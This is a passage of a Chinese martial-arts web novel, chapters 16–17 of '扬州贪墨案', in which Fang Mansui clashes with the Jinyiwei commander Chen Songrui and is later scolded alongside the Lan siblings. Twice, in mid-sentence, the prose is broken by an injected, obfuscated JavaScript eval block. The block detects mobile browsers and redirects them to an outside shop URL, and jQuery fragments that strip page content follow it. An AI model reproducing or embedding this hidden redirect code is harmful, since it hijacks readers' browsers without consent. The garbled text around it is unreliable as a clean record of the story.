她还是头一回见到没被她吓到、反而差点把人反杀的女子——方满穗看上去俏丽灵动,皮囊下居然也有个凶悍的灵魂,可惜她姚姜实在技不如人,略逊一筹,只能干不过拔腿就跑。
她真的是又猛又怂,谨遵陈松睿“干得过就干,干不过就跑快点”的中心思想。
飘飖弱翅轻,衣衫随风舞,连呼吸声都消弭于风。
两个人眨眼间已经冲过大半风月街,直跑到小南门街。这会儿人不算多,姚姜便毫不犹豫纵身一跳,借着小摊贩与人流,想和方满穗拉开距离。
方满穗却好似鬼魂,脚步轻巧,人与物件半点降不下来她的速度,眼看着就要伸手揪到姚姜的后勃颈!
“不会吧!”姚姜闷哼一声,用力一跃,跳上房檐,差点把瓦片踩掉。她都被揍成这幅鬼样,还有心思笑话自己:“我姚姜不会要死在这儿了吧!妈呀,这幅鬼样子下去了直接拉去当阴差吗?!”
这一路噼里啪啦,街边的小贩大声叱骂,妇女儿童惊叫不断,所过之处一片狼藉。各式吼叫混杂在一片幼儿哭喊中,方满穗短剑出鞘,右手探向姚姜后背,眼看便要一剑刺去——
“铛!!!”
方满穗一个旱地拔葱,猛然提气,直往后飘了丈余。她恼火地拨开长发,看到自己刚才站得位置被一把太师椅砸中,而那眼看就要毙命在她剑下的千户已经被几个锦衣卫护在了身后。
这一阵的交手,她脸上的易容早就掉干净,一头乌发有些凌乱,随意散在身后。
街上的人早就跑了个干干净净。陈松睿站在最前方,手把着绣春刀,身板挺直,撒了一身的灯火。他嘴角带笑,还是那副温文尔雅的模样,对着方满穗点点头:“又见面了,覃姑娘。敢问这死命追着我的下属,是为何事啊?”
16. 扬州贪墨案(4)
陈松睿一现身,方满穗就知道今日杀不了那个姚千户了。
素潭躲着,一时半会儿估计也不会遇到太大的问题,她特意嘱咐了老鸨,吩咐几个杂役留心点素潭的房间。既然不急着回去,就试着套套陈松睿的话,看看这人找爹爹到底做什么!
心下一定,方满穗收剑入鞘,双手交错搭在腰间。刚才还满身杀气的煞神眨眼间变成个娴静女子,浑身颇有林下风气。
“我与虹霓与素潭是好友。如今虹霓被杀,我担心她,这才混进怡红院。”对着几个人高马大的锦衣卫,方满穗却半点不惧,披着一身混杂灯火的月光,在杂乱的街道上站成一颗青松:“倒是这位姚千户,当个梁上君子,当那隔墙的耳朵,怕不是把自己当成了文若先生。”
她嗤笑一声,微微垂下眼睛,继续不紧不慢地说道:“我恼她不请自来,想要给她的警告,却不想千户起了杀我的心思!既然如此,那来而不往非礼也,我自然不客气!”
方满穗扫了一眼那些警戒的锦衣卫,又哼笑一声,语气平静:“只是没想到,陈指挥使居然如此护短。若是来晚点就好了,我也好送你们一副‘冰肌玉骨’。”
她话语平静如无波潭水,却沾染着满满的怒气与霸道,半点没有寻常女子的模样。陈松睿被这话惊得挑眉,往后瞥了一眼,笑道:“我之过,是我让姚姜去看着点素潭,以免她遭不测。只怕她与姑娘想法相同,都将对方当成了敌人,这才引起了误会。”
身后的林奎之脱了自己的披风给姚姜披上,还特意拿出烈酒,闻言愣了一愣,小声问道:“你没打过?你居然没打过?!”
姚姜一口喝了半壶酒,一抹嘴,冲林奎之翻个白眼:“她的武功是谁教的?你也不想想。换成沧远,早就变成那什么冰骨了。”
“那麻烦了,老大身上伤没好,干得过她吗?”林奎之小声说着,从怀里取出金疮药递给姚姜:“感觉她好厉害的样子,你刚才喘得肺都快瘪了,她一点反应都没有。”
这典型的灭自己威风的话让姚姜差点手一抖,酒水撒自己身上。她呛咳两声,低声吼道:“闭嘴吧你!”
陈松睿倒是真来了兴趣,他还是第一次见到半点不怕锦衣卫的女子,于是笑眯眯地先认了个错,这才画风一转:“说起来,覃姑娘怎么在这里?本官正好找剑圣有事儿,还请烦劳姑娘叫他出来。”
方满穗掀起眼皮:“叫剑圣?为什么,他犯事儿了吗?”
“可不是。”陈松睿背着手,煞有介事地点点头:“姑娘要不叫人出来,本官只能把姑娘拘了带走审一审了。”
他站也不站好,上半身晃晃悠悠的,活像个摇头晃脑的纨绔,说的话却半点也不客气。他话语还未落,身后几个小旗已经把手按在了刀柄上,警惕地看向方满穗。
方满穗却倏地灿然一笑,俊俏的脸蛋绽开一朵凌霄花,便是见多了美人的陈松睿也被这笑容晃了眼。她还是那副泰然自若的样子,嘴里毫不客气地反问道:“哦?带我?为什么,我又没犯法,更没参与犯法,难不成还能是皇帝下了圣旨,点名点姓要抓我?”
“还是你陈松睿天高皇帝远的,要在这来一出造反?”她几乎每句话都能把人吓个半死,陈松睿身后的姚姜都惊愕地抬起眼睛看过来:“那可吓死我了,陈大人。想抓我,下次找个更合适的理由再来吧!”
陈松睿自从得了锦衣卫实权,七八年过去了,没见过这么不要命也不给脸的,唯一遇到的居然还是一家子人。他没忍住,噗嗤一声,大笑的声音整条街都能听见。
“覃姑娘,你和你爹某些地方挺像。”陈松睿笑得眉眼弯弯,眼里却布满阴鸷:“可惜了,本官有圣上所赐尚方宝剑,即便是现在斩下你的脑袋,也没人敢说一个不字!”
方满穗却忽然探头,左看看右看看,眼睛瞪得溜圆,脸上的好奇不似作假:“尚方宝剑?在哪儿在哪儿,我怎么没看见?”
“不知道是你这人吹牛吹大发,还是在这里装模作样。”俏丽的姑娘露出一脸嘲讽的笑:“拿得出来再说杀我吧,陈指挥使,你连剑圣都抓不住,也就只能对个姑娘家放放狠话了。”
这番针锋相对,无人可见的气流在两人对视的目光链接处奋勇冲杀,刺骨杀气如冰霜在脚下蔓延,其余人只觉得冷气儿从脚脖子往上飘,各个低头沉默,一点声音都不敢发出来。
趁着吵架把自己包扎好的姚姜露出一个心服口服的表情,用气声对林奎之说道:“这姑娘牛啊,把老大气得说不出话了。”
林奎之低着头梗着脖子,用更小的气声说道:“没办法啊,她说的全是事实!”
“覃姑娘。”陈松睿收了脸上的笑,乱云低薄暮,急雪舞回风,他眼里蕴含/着一幕即将撕裂天地的暴风雪:“本官再说一遍。乖乖被审,还是被锦衣卫拘了带走?”
“我也告诉你一件事。”方满穗没什么情绪地挑挑嘴角:“你拘不走我,因为,我压根,不、姓、覃。”
陈松睿猛地沉下眉眼,嘴角抿成一条锋利的线,看着方满穗随意拢了拢自己的长发:“剑圣覃詹,江湖上人尽皆知,可你何时听过,他家女儿的名姓?”
覃詹护方满穗护的紧,对她的亲生父母——虽说不曾透露是谁,但是却极为敬重,因此至今没要求过要她改名。江湖里朋友来做客,也被他要求不要说出去方满穗的存在,以免有什么不长眼的人来骚扰女儿。
因此,方满穗就是那个被剑圣捧在手心儿的宝贝闺女,谁也打听不出来这孩子是谁,谁也不会刻意传出去,但至交亲朋却都知道这孩子被人宠得快上天了。
况且,还有个宠她的,云萍山庄兰淮芳一家,谁要和云萍山庄、尘外友作对,都得掂量掂量自己骨头够不够人家一次啃得!
陈松睿猛地攥紧了绣春刀柄,呼吸声都重了几分。
“我不姓覃,你拿什么来拘我,就我揍了你的下属?”方满穗瞄了一眼姚姜,“切”了一声,没什么诚意地随便一揖,然后又迅速站直:“自己做贼水准差,被人追着打,居然搞到要主人家来讨公道。得得得,我在这里,给你道个歉,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285423|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也砍了我了,算扯平了。”
对比被她差点削掉一层皮的姚姜,方满穗身上也就头发伤得最狠,被劈去一小节,其余也就衣摆上脏污了些。这话简直就是个颜面上能跑马的“君子”,气得低着头的姚姜“啧”了一下,拳头都捏得嘎吱响。
“下属?”陈松睿慢吞吞地念着这两个字儿,像是在嘴里研磨着什么回味悠远的东西。他突然笑了一下,掀起眼皮看着方满穗:“下属,什么下属?这是朝廷钦差,代天子巡抚的锦衣卫千户!你这民女,性危不守法,凶悍阴险,惹是生非,居然连钦差也要伤!”
他说的正气凛然,用力一拍手:“来人,给我拿下!”
方满穗只在电视剧里见过这种独特的找茬,这回纯粹属于自己给对方送了个借口。她啧了一声,嘟囔了一句“这都行?!”,赶紧脚下一点,身似流风回雪,飞似的飘出老远。她当时追姚姜没用全力,这次却铆足了劲儿,撒丫子跑得比鹰隼飞得还要快!
陈松睿从下属手里接过大弓,三石的弓在他手里被拉成一轮圆月,三只寒光闪闪的箭瞄准了那飞速离开的背影——
“嘭!”
箭还未射出,陈松睿被林奎之猛地拉开,三只箭失了准星,直直戳进了房檐之中!
他原本站着的位置上砸下一块巨石,连街道上的青砖都被砸出凹陷裂痕——要是陈松睿没被拉开,他的脑袋已经被砸成豆腐脑了!
“艹!”陈松睿没忍住爆了句粗口,立刻搭弓上箭,冲着那巨石来处就是狠狠一箭!
远处房顶上站着个高个子的人影,遥遥一声“锵”的脆响,这只仓皇射出的破风之箭被那人轻松挡掉。那人像是遥遥一抱拳,转身从房顶跳了下去,没了踪影。
局势瞬间逆转,锦衣卫几个下属各个又变回了缩脖鹌鹑,一声不敢吭。
这会儿子方满穗早就跑得没影,怡红院又是尘外友的地盘……陈松睿好不容易等到的机会就这么自己一溜烟儿没了,气得一把将弓箭掼在地上,骂了句字正腔圆的娘,吼道:“走,去见兰阁主!”
#####
方满穗匆忙回到了素潭房间,路上给兰烟渚抽空写了一封言真意切的忏悔书,表达了自己求擦屁/股的愿望和对“又给您理直气壮添麻烦了”的真切悔意,基本等同于脱/裤子放了个婉转的屁,就这么让鸟雀送往了扬州城尘外友的总部。
她一路跑得比风还快,进窗户都有点气喘:“素潭!素潭我回来啦!”
紧接着,方满穗常年习武的警觉神经被轻轻波动,她猛地抽出长剑,四下环顾,喊道:“素潭,素潭!”
屋里的摆设似乎没动过,但是那衣柜原本严丝合缝的门却这会儿斜了一个,门轴似乎被什么拉坏了。方满穗几步过去,打开一看,柜子里衣服掉下几片,门沿儿上还有指甲抓出来的痕迹,像是什么人被硬生生拖出柜子,又使劲拽着门挣/扎的样子!
“MD!”方满穗骂了句字正腔圆的娘,一剑把旁边的扶手椅劈得粉碎,怒目切齿道:“锦、衣、卫!”
17. 扬州贪墨案(5)
十几个锦衣卫夤夜前来,直接拍起了尘外友总部的大门。
尘外友面上是一家卖珍宝珍玩的商家,需要用暗语才能进入买卖消息的地方。这大半夜早就打烊了,只跑出来一个拢着外套、睡眼惺忪的老头子,声音模糊,看上去还没睡醒:“客官?诶呦,贵客啊,我们收档了【打烊了】,你唦明朝,明朝再来唦【你们明天再来吧】。”
他话还没说完,忽然身形往后一撤,躲开了陈松睿探过来的手。
“嗯?”老头像是忽然醒了,揉揉眼睛,看着阴沉着脸色的陈松睿,又瞄了眼他们那群人的穿着,换成了大梁官话:“深夜来访是为何事?若是要找人麻烦,这里就剩个小老头我了,怕是几位揍起来不爽利,不如明天早上再抄家伙什来打吧。”
陈松睿本就想要出其不意,挟持个人质在手里,却没想到这老头居然会点功夫,嘴里还油嘴滑舌。他冷笑一声,不信这人认不出锦衣卫的飞鱼服。
“哈哈,好呀。”陈松睿笑着歪过头,手上凝了内力,猛地一招,门口那把木凳像是被什么强行拉动,倏地冲老头冲了过来。
老头蓦地一个旋身,闪开了飞速袭来的凳子,那嘎吱作响的玩意便被陈松睿抄进了手里。他就这么往门口一坐,翘起二郎腿,对着老头一扬下巴:“看您腿脚也没什么事儿,去,把兰烟渚给我叫来。”
“先说好,”他抢在老头说话之前,一字一顿地,杀意几乎能将那华贵石砖地板劈成两半:“今天子时,我还见不到兰烟渚,明天这里就会换名儿,换成‘锦衣卫亲军指挥使司’。”
老头一梗,“这这这”半天,面对着一群虎视眈眈的锦衣卫实在半句话也憋不出来。他揣着手,缩着脖,眼神儿从那些个绣春刀上一一飘过,权衡片刻,才“哎”一声,老老实实地说道:“好,好,几位官爷等等,老头我这就、这就去叫阁主。”
陈松睿小板凳做出了堂口的架势,颔首示意,脸上挂着温和的笑,眼神分明都快把人戳上无数把刀了。
“还请您快点。”他提高了声音,瞥着那老头的小碎步:“等急了,我们指不定做什么呢。”
老头脚步一顿,之后撒丫子跑得更快,没一会儿就消失在街尽头。
林奎之刚想跟上,却被陈松睿叫住,让他送姚姜回去,把姬沧远叫来。
林奎之先是“诶”了一声,又愣了愣,直白地问道:“为什么不让我追那个老头?”
陈松睿差点被人气笑,上下打量了他一眼:“追?就你这连姚姜还不如的轻功?!别给我扯皮,赶紧把姬沧远换过来!”
#####
深夜小巷里寂静地只剩下树叶沙沙声。不知道谁家种的枇杷熟透没摘,咕噜噜掉到了地上,被只猫咪无声地推来推去。
兰烟渚歪在樟树下的摇椅上,手里拿着刚从信鸽上取下来的信,仔仔细细地看着。她一双细眉紧蹙,手指掠过信纸上字,重重地叹了口气。
院儿里点了几盏灯,昏黄的灯光晃悠着撒在院儿里植物的叶片上,点出斑点金粉。咯吱咯吱的声音像是老鼠在偷吃——石桌上坐着个盘着腿的少年,桃子啃得咔嚓响,身旁放着的盘子里全都是桃核。
“吃了一/夜了,吃积食了要。”兰烟渚把信折了几折塞进袖子里,用手指揉着太阳穴,表情有些烦躁:“穗穗回来了?”
兰霜毫啃桃子的声音一顿,少年鼓囊着腮帮子,眨眨眼,二愣子似的:“啊?”
“啊你的头,穗穗人呢!”兰烟渚瞪了一眼弟弟,把后者吓得差点被桃肉噎住。她站起身就要叫来暗卫问问行踪,兰霜毫臊眉耸眼,眼看着挡不住了,只好支支吾吾地叫了一声:“额,那个……”
暗卫刚回了没见到,后面就有兰霜毫遮遮掩掩的声音,兰烟渚立刻就知道这俩小屁孩瞒着自己干什么了。她用力吸了一口气,强行憋住自己的脾气,不耐烦地冲后面吼到:“额,额什么?!喉咙眼儿被桃核塞住了是怎么的,说话!”
兰霜毫浑身一抖,只好哼唧着说道:“穗穗……穗穗说要去,唔,要去守着素潭……”
“荒唐!”兰烟渚吼道,一掌将廊下种得竹子击得粉碎。她下令暗卫,让他把方满穗揪回来,这才转身冲着兰霜毫吼,气得直拍柱子:“你们两个小兔崽子又瞒着我私自决定!!兔崽子胆儿肥了,敢上天了!知不知道想抓人的是谁,啊?!是陈松睿,是皇后表弟,太子伴读!!”
兰霜毫被姐姐掌风削到肩膀,痛得“嗷”一声惨叫,苦着脸抱怨道:“你们一个两个都凶巴巴的,我能怎么办啊!这、这这,这关我什么事儿嘛!”
他随即一个旋身从桌上跳起来,差点被姐姐一竹竿敲到脑袋。兰烟渚折了根竹竿,把弟弟抽成满院子跑得猴儿:“跑?!和你没关系!和你没关系!我让你和你没关系!”
“关乎亲人性命,和你没关系,关乎家族生死存亡,也和你没关系!!”兰烟渚把兰霜毫抽得嗷嗷叫,盘好的头发都散下来一缕:“我悉心教导,就把两个弟弟妹妹教育成这种鼠目寸光、自私自利的东西!下来!”
兰霜毫“诶呦”连声,身上皮肉被抽得火辣红肿,委屈巴巴搓着胳膊走过来。兰烟渚眉眼坠着一层冰碴,又是狠狠一拍桌子:“说话!”
“她!她就留了信儿,说自己去找素潭,保护她去了……”兰霜毫皱巴着脸,束好的头发都被姐姐抽歪,可怜巴巴地站在院儿里,还不敢去揉痛的地方。兰烟渚嗤笑一声,用竹竿狠狠敲了敲地面:“是不是觉得很委屈,嗯?自己什么都没做,却被姐姐狠狠抽了一顿?”
“就是因为你什么都没做!兰霜毫,”自弟弟满十四岁取了字,兰烟渚就极少再叫他的名字,这回是真的动了气,声音里蓄着一场狂风暴雨:“穗穗与我们情同手足,休戚相关,我们是一家人,难听点,叫一条绳上的蚂蚱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329525|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,牵一发而动全身的!你可知道这次的对手何其难缠,你可知道这次若是真被他们逮住,我们会如何死无葬身之地!”
她又是深深叹了口气,几天未曾休息好,兰烟渚眼睛下坠着两坨暗影,秀美的脸蛋也满是疲惫,把手里的竹竿往地上一甩:“况且这次,我们真的被纠缠进了一场大案里……踏错一步都会……你们真是,真是幼稚,荒唐!”
兰霜毫道理听懂了,乖乖低头挨骂,却没听懂什么“大案”。他抓抓头,有些不解地问道:“什么大案,是师父干了啥吗?额,那怎么办,我们收拾东西跑?”
“跑个鬼,有什么用。”兰烟渚胸口积攒了险些撑裂脊骨的恼火,一个好脸色也没给兰霜毫:“师父,他自己都未必知道发生了什么,哼。哎什么乱七八糟的!”
她抖着手,指着大门,声音都被自己吼劈叉:“穗穗来了给我拉到这里来!什么道理真是,长大了不听话了,欠打!”
兰霜毫蔫儿头耷脑,“哦”了一声,正要转身离开,暗卫忽然风一样的冲了进来,抱拳说道:“主人,安叔和二姑娘来了。”
兰烟渚给自己倒了杯茶水喝着,清清嗓子,闻言一愣:“安叔?和穗穗一起来?叫进来吧。”
######
方满穗到了门口,发现安叔正一头雾水地拿着自己阁里的送信鸟雀站在家门口。
“安叔!”她先打个招呼,小跑着凑近:“你怎么拿着我的送信鸟啊,我要送去给姐姐的。”
“哦,这个,我看到它停在门槛上不进。”安叔也有点蒙,把鸟雀递给方满穗,脸上露出一个慈祥的笑:“二姑娘啊。诶,您怎么从……外面回来?”
方满穗干笑了几声,眼神有点闪烁,一时间不知道该怎么回复安叔。她含糊几句,差点把自己脸憋红,最后用力一摆手,硬是把话题强行扯过:“我们——我们先进去再说吧,先进去再说——诶!”
暗卫从浸润墙角的影子里凭空冒了出来,站在月光下对着两人抱拳一礼:“二姑娘,安叔,阁主有请。”
安叔呵呵一笑,对着暗卫拱拱手,便迈步走进了去,方满穗却揪着裙角,活像那走进院儿里的路是通往刑场的断头路,迟疑着不肯往前走。
站在廊下的暗卫却忽然开口,对着方满穗沉声说道:“二姑娘,阁主说了,您也要进去。”
方满穗:……
虽说她那封“认罪书”阴差阳错没有到姐姐手里,但是她也确实阴奉阳违,瞒着人跑了出去。跑出去还算了,没能灭口锦衣卫,还把素潭弄丢了……
芝麻没捡,西瓜也丢了,还有现在岌岌可危的一身皮,若是有漫画落在方满穗身上,那场景一定是狂风落叶,漫天飞雪,哭惨惨一声“完蛋了”。
暗卫那个请的手势一直没有收回来,方满穗深知自己躲不开,只好拎着那副哭丧脸的笑,牙一咬,拖沓着步子走进去了。